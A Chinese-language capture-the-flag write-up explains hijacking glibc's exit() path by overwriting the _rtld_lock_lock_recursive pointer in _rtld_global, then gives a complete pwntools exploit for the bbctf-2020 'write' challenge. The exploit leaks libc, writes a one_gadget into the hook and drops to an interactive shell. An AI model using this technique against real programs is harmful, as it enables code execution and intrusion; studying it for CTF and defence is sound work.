更改exit()某一结构体,可以实现exit()函数的劫持。

原理分析

首先查看exit()源代码,我的libc=2.27

调用__run_exit_handlers函数,查看源代码,
exit.c 77行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
     while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;

发现三个关键call,

1
2
3
void (*atfct) (void);    
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

gdb动调,发现关键跳转

调用了_dl_fini函数,查看_dl_fini函数源代码。
dl-fini.c 46行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));

发现call两个关键函数

1
2
 __rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));

在此我查看__rtld_lock_unlock_recursive定义

查看GL定义,

1
2
3
#  define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name

发现了_rtld_global结构体,
gdb下 p _rtld_global

找到函数地址存放位置,则__rtld_lock_unlock_recursive_rtld_global结构题的指针变量。在exit()中执行流程为
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由于__rtld_lock_unlock_recursive存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive,就可以在调用exit()时劫持程序流。
_rtld_lock_lock_recursive也是一样的流程。

实际利用

以bbctf-2020的write题为例。
题目地址

程序首先给了我们libc地址跟stack地址,然后允许你任意地址写,讲道理应该乱杀。思路本应该是system覆盖返回地址,然后
劫持程序,我想这是出题方的本意。但是最后程序在exit()中结束。当我们覆盖main()返回地址时发现无法被执行。这个时候就需要我们刚刚
讲的地方了。覆盖_rtld_lock_lock_recursiveone_gedget

exp

直接上exp把,只需要找到_rtld_lock_lock_recursive的地址就行.在_rtld_global结构体某一偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('write')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./write')

else:
p = remote(ip,port)
def Pwn(addr,num):
p.sendlineafter("(q)uit\n","w")
p.sendlineafter("ptr: ",str(addr))
p.sendlineafter("val: ",str(num))
gdb.attach(p)
p.recvuntil("puts: 0x")
puts_addr=int(p.recv(12),16)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=puts_addr-libc.symbols['puts']
exit_hook=libcbase_addr+0x619f68
one_gad=[0x4f2c5,0x4f322,0x10a38c]


p.recvuntil("stack: 0x")
stack_addr=int(p.recv(12),16)+0x20
Pwn(exit_hook,libcbase_addr+one_gad[1])
#Pwn(stack_addr+8,binsh_addr)
#Pwn(stack_addr+16,system_addr)
print "exit_hook=",hex(exit_hook)
print "one_gadget=",hex(libcbase_addr+one_gad[1])
p.sendlineafter("(q)uit\n","q")
p.interactive()
if __name__ == '__main__':
pwn('pwn.byteband.it',9000,1)

总结

这个知识点有时可以出其不意的偷家。